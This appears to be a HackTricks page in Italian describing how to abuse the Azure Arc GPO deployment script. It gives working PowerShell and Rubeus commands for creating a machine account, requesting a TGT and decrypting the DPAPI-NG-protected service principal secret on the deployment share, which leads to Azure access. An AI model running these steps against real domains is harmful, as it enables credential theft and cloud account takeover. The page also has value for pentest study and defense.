# Az - Arc vulnerable GPO Deploy Script

{{#include ../../../banners/hacktricks-training.md}}

### Identifying the Issues

Azure Arc consente l'integrazione di nuovi server interni (server del dominio uniti) in Azure Arc utilizzando il metodo del Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1.

Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni:

1. Crea il GPO di Onboarding dei Server Azure Arc all'interno del dominio locale.
2. Copia lo script di onboarding EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di onboarding, che contiene anche il pacchetto di installazione di Windows.

Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti anche allo script.

Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prova di questo può essere trovata nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### Exploit

Abbiamo le seguenti condizioni:

1. Abbiamo penetrato con successo la rete interna.
2. Abbiamo la capacità di creare o assumere il controllo di un account computer all'interno di Active Directory.
3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy.

Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il limite degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre misconfigurazioni.
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Una volta ottenuto un account macchina, è possibile autenticarsi utilizzando questo account. Possiamo utilizzare il comando runas.exe con il flag netonly oppure utilizzare pass-the-ticket con Rubeus.exe.
```bash
runas /user:fake01$ /netonly powershell
```

```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Avendo il TGT per il nostro account computer memorizzato in memoria, possiamo utilizzare il seguente script per decrittografare il segreto del principal del servizio.
```bash
Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
In alternativa, possiamo utilizzare [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).

A questo punto, possiamo raccogliere le informazioni rimanenti necessarie per connetterci ad Azure dal file ArcInfo.json, che è memorizzato sulla stessa condivisione di rete del file encryptedServicePrincipalSecret. Questo file contiene dettagli come: TenantId, servicePrincipalClientId, ResourceGroup e altro. Con queste informazioni, possiamo utilizzare Azure CLI per autenticarsi come il service principal compromesso.

## Riferimenti

- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

{{#include ../../../banners/hacktricks-training.md}}
